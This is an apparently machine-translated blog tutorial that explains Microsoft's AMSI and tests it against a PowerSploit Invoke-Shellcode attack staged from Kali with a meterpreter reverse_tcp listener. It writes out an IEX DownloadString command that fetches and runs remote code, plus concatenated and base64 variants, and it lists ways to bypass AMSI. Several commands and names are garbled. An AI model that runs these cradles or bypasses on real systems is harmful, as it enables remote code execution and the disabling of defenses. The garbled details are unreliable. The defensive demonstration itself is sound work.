Hackers are increasing the number of malware attacks running in memory. One of the main methodologies for performing in-memory attacks is to execute the script directly, without writing it to disk. Traditional antivirus works by comparing signatures to files on disk. But what if the executable code never touches the disk?
Or worse, we have traditional antivirus software that checks executable commands against a signature pattern, but the level of obfuscation by an attacker is too difficult to detect and generates a number of false positives. To address this issue, Microsoft created the Anti-Malware Scripting Interface (AMSI).
AMSI is an open interface developed by Microsoft for invoking third-party software. This allows any application to deeply penetrate the core of the Microsoft operating system and process the content sent to the scripting engine. This is extremely efficient because any obfuscated code must be decoded before the scripting engine can process it.
AMSI is efficient because it performs memory scans and script streams. This is possible because AMSI detects deobfuscated code when it is presented to the script host. This means that the script execution method does not matter. Scripts can be run from disk, manually, or in an interactive engine.
The input method does not affect whether the script is detected. This is true even when submitting scripts directly to the underlying Windows dynamic link library.
For example, an attacker could send a PowerShell script directly through System.Automation.dll rather than powershell.exe to try to evade detection. This attack method will continue to be detected by AMSI.
By default, AMSI is loaded into multiple scripting engines and Windows components on Windows 10. From the Microsoft website, this includes components such as “ User Account Control, PowerShell (scripting, interactive use and dynamic code evaluation), Windows Script Host” (wscript.exe and cscript.exe), JavaScript, VBScript and Office VBA macros “.
AMSI Test
To test AMSI, we show how the PowerSploit “Invoke-Shellcode” command is detected and blocked by the Windows Defender AMSI integration.
In this case, we will be using Kali Linux with PowerSploit. PowerSploit is a collection of PowerShell modules, written by Matt Graber, that are used to manage and control a target system. We will try to catch these attacks using AMSI. We will also confirm that AMSI still detects code after obfuscation.
Kali Linux setup
The first step in the testing process is to set up the PowerSploit web server. The PowerSploit module is built into the Kali Linux distribution by default. If you don’t have a Kali Linux distribution, you can get it from the following link: https://www.kali.org/
On Kali Linux, go to / usr / share / powersploit directory. In this directory, you will see the CodeExecution subdirectory. From this directory, we will run the Invoke-Shellcode command from the web server.
First, copy the entire powersploit directory to / var / www / html. Go to / usr / share / and run the following command.
cp –r powersploit / var / www / html
Then set up your web server by running the following command.
python –m SimpleHttpServer
Finally, use msfconsole to set up a listener for your shell. The shell executed by the PowerSploit Invoke-Shellcode command is windows / meterpreter / reverse_tcp. The listener setup process is detailed in the figure below.
Perform the test
Then go to your Windows 10 computer to make sure the web server is available. Open a browser on your Kali Linux web server. Go to the following link. You should see a list of Powersploit directories in your browser as shown below.
http: // : 8000
To simulate the attack, we will run the invoke-shellcode command by downloading it directly from the web server. This will perform an in-memory attack to demonstrate a memory scan and script stream. Open powershell.exe as administrator and run the following command.
IEX (New-Object Net.Webclient) .DownloadString (http: // /CodeExecution/Invoke-Shellcode.ps1)
On execution, you should see an error message indicating that AMSI has blocked the execution of your code.
We can see evidence that Windows Defender blocked this attack by looking at the Microsoft Windows Defender – Windows – Windows Defender / Operational log.
Confusion to attack
We’ve seen how Windows Defender and AMSI stop a possible Trojan horse. Now let’s move on to the true beauty of AMSI – the ability to stop obfuscation. There are several ways to hide a PowerShell row.
In this article, we will explore two ways of obfuscation, concatenation and base64 encoding. Since AMSI is in the scripting engine, all hidden malware must be tracked by the AMSI engine as plain text execution just before code execution. Therefore, all hidden attack vectors will also be stopped.
We will first try to hide our command using concatenation. We will split our attack chain into three separate teams.
$ x = “IEX (new Net.Webclient object).”
$ u = “DownloadString (‘ http: //192.168.31.136/SodeEsection/In “
$ s = “woke-Shellcode.ps1 ?)”
When we execute these three lines together, we are still blocked by AMSI.
Then let’s try to code our command in base64. To transform our string, we will use the transform command as shown below.
$ encoded = [Convert] :: ToBase64String ([System.Text.Encoding] :: Unicode.GetBytes (“IEX (New-Object Net. Webclient) .DownloadString (‘http://192.168.31.136/CodeExecution /Invoke-Shellcode.ps1 ‘) “))
When we run the encoded command, it is still blocked by AV as shown below.
AMSI bypass
As with any security measure, AMSI is not a panacea, and there are ways to get around it. For example, PowerShell version 1 lacks AMSI integration. If the system is running PowerShell version 2, the script will not be scanned. In addition, AMSI is a signature-based technology.
Thus, it is possible to bypass a specific signature by slightly modifying the specific command. Finally, you can use the Set-MpPreference command to disable AMSI. As with any defensive strategy, it is important to be aware of the limitations of defensive techniques and to have defense in depth strategies in place to strengthen the overall safety position.
Additional techniques such as script block logging and restricted language mode are some examples of a defense-in-depth tool that can be added to your security position.
Microsoft’s technique for embedding AMSI into the operating system addresses a security gap long exploited by scripting languages.
This is a convenient way for application developers and antivirus developers to proactively prevent scripted malicious code on Windows. Along with other defense-in-depth tools, AMSI provides another way to stop a hacker on his or her tracks.